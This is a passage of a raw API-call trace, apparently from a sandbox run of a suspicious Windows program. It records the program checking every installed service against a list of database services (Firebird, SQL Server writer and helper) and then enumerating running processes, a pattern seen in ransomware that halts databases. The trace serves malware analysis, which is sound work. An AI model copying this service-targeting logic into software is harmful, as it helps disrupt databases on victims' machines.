lpString2="ClickToRunSvc") returned 1 [0309.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0309.663] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0309.663] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0309.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0309.664] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0309.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0309.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0309.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0309.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0309.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0309.664] lstrlenW (lpString="CryptSvc") returned 8 [0309.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0309.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0309.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0309.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0309.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0309.664] lstrlenW (lpString="DcomLaunch") returned 10 [0309.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0309.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0309.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0309.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0309.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0309.664] lstrlenW (lpString="DeviceAssociationService") returned 24 [0309.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0309.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0309.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0309.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0309.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0309.664] lstrlenW (lpString="Dhcp") returned 4 [0309.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0309.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0309.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0309.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0309.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0309.665] lstrlenW (lpString="Dnscache") returned 8 [0309.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0309.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0309.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0309.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0309.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0309.665] lstrlenW (lpString="DPS") returned 3 [0309.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0309.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0309.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0309.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0309.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0309.665] lstrlenW (lpString="DusmSvc") returned 7 [0309.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0309.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0309.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0309.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0309.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0309.665] lstrlenW (lpString="EventLog") returned 8 [0309.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0309.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0309.665] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0309.666] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0309.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0309.666] lstrlenW (lpString="EventSystem") returned 11 [0309.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0309.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0309.666] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0309.666] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0309.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0309.666] lstrlenW (lpString="FontCache") returned 9 [0309.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0309.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0309.666] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0309.666] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0309.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0309.666] lstrlenW (lpString="gpsvc") returned 5 [0309.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0309.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0309.666] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0309.666] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0309.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0309.666] lstrlenW (lpString="iphlpsvc") returned 8 [0309.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0309.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0309.666] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0309.666] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0309.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0309.667] lstrlenW (lpString="KeyIso") returned 6 [0309.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0309.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0309.667] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0309.667] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0309.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0309.667] lstrlenW (lpString="LanmanServer") returned 12 [0309.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0309.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0309.667] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0309.667] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0309.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0309.667] lstrlenW (lpString="LanmanWorkstation") returned 17 [0309.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0309.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0309.667] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0309.667] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0309.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0309.667] lstrlenW (lpString="lfsvc") returned 5 [0309.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0309.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0309.667] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0309.667] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0309.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0309.667] lstrlenW (lpString="lmhosts") returned 7 [0309.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0309.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0309.667] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0309.667] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0309.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0309.667] lstrlenW (lpString="LSM") returned 3 [0309.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0309.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0309.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0309.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0309.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0309.668] lstrlenW (lpString="MpsSvc") returned 6 [0309.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0309.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0309.668] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0309.668] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0309.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0309.668] lstrlenW (lpString="NcbService") returned 10 [0309.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0309.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0309.668] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0309.668] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0309.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0309.668] lstrlenW (lpString="netprofm") returned 8 [0309.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0309.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0309.668] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0309.668] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0309.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0309.668] lstrlenW (lpString="NgcSvc") returned 6 [0309.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0309.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0309.668] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0309.668] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0309.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0309.668] lstrlenW (lpString="NlaSvc") returned 6 [0309.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0309.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0309.669] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0309.669] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0309.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0309.669] lstrlenW (lpString="nsi") returned 3 [0309.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0309.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0309.669] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0309.669] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0309.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0309.669] lstrlenW (lpString="PcaSvc") returned 6 [0309.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0309.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0309.669] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0309.669] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0309.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0309.669] lstrlenW (lpString="PlugPlay") returned 8 [0309.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0309.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0309.669] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0309.669] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0309.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0309.669] lstrlenW (lpString="Power") returned 5 [0309.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0309.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0309.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0309.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0309.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0309.669] lstrlenW (lpString="ProfSvc") returned 7 [0309.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0309.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0309.669] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0309.669] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0309.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0309.670] lstrlenW (lpString="RpcEptMapper") returned 12 [0309.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0309.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0309.670] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0309.670] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0309.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0309.670] lstrlenW (lpString="RpcSs") returned 5 [0309.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0309.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0309.670] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0309.670] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0309.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0309.670] lstrlenW (lpString="SamSs") returned 5 [0309.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0309.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0309.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0309.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0309.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0309.670] lstrlenW (lpString="Schedule") returned 8 [0309.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0309.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0309.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0309.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0309.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0309.670] lstrlenW (lpString="SecurityHealthService") returned 21 [0309.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0309.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0309.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0309.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0309.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0309.670] lstrlenW (lpString="SENS") returned 4 [0309.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0309.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0309.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0309.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0309.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0309.671] lstrlenW (lpString="ShellHWDetection") returned 16 [0309.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0309.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0309.671] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0309.671] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0309.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0309.671] lstrlenW (lpString="Spooler") returned 7 [0309.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0309.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0309.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0309.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0309.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0309.671] lstrlenW (lpString="StateRepository") returned 15 [0309.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0309.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0309.671] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0309.671] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0309.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0309.671] lstrlenW (lpString="SysMain") returned 7 [0309.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0309.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0309.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0309.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0309.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0309.671] lstrlenW (lpString="SystemEventsBroker") returned 18 [0309.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0309.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0309.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0309.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0309.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0309.672] lstrlenW (lpString="Themes") returned 6 [0309.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0309.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0309.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0309.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0309.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0309.672] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0309.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0309.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0309.672] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0309.672] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0309.672] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3d0b560 | out: hHeap=0x700000) returned 1 [0309.672] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0310.489] Process32FirstW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0310.491] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0310.491] lstrlenW (lpString="System") returned 6 [0310.492] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0310.492] lstrlenW (lpString="smss.exe") returned 8 [0310.492] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0310.493] lstrlenW (lpString="csrss.exe") returned 9 [0310.493] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0310.494] lstrlenW (lpString="wininit.exe") returned 11 [0310.494] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0310.495] lstrlenW (lpString="csrss.exe") returned 9 [0310.495] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0310.496] lstrlenW (lpString="winlogon.exe") returned 12 [0310.496] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0310.497] lstrlenW (lpString="services.exe") returned 12 [0310.497] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0310.498] lstrlenW (lpString="lsass.exe") returned 9 [0310.498] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0310.499] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0310.499] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0310.499] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0310.499] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.500] lstrlenW (lpString="svchost.exe") returned 11 [0310.500] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.501] lstrlenW (lpString="svchost.exe") returned 11 [0310.501] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0310.502] lstrlenW (lpString="dwm.exe") returned 7 [0310.502] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.503] lstrlenW (lpString="svchost.exe") returned 11 [0310.503] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.504] lstrlenW (lpString="svchost.exe") returned 11 [0310.504] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.505] lstrlenW 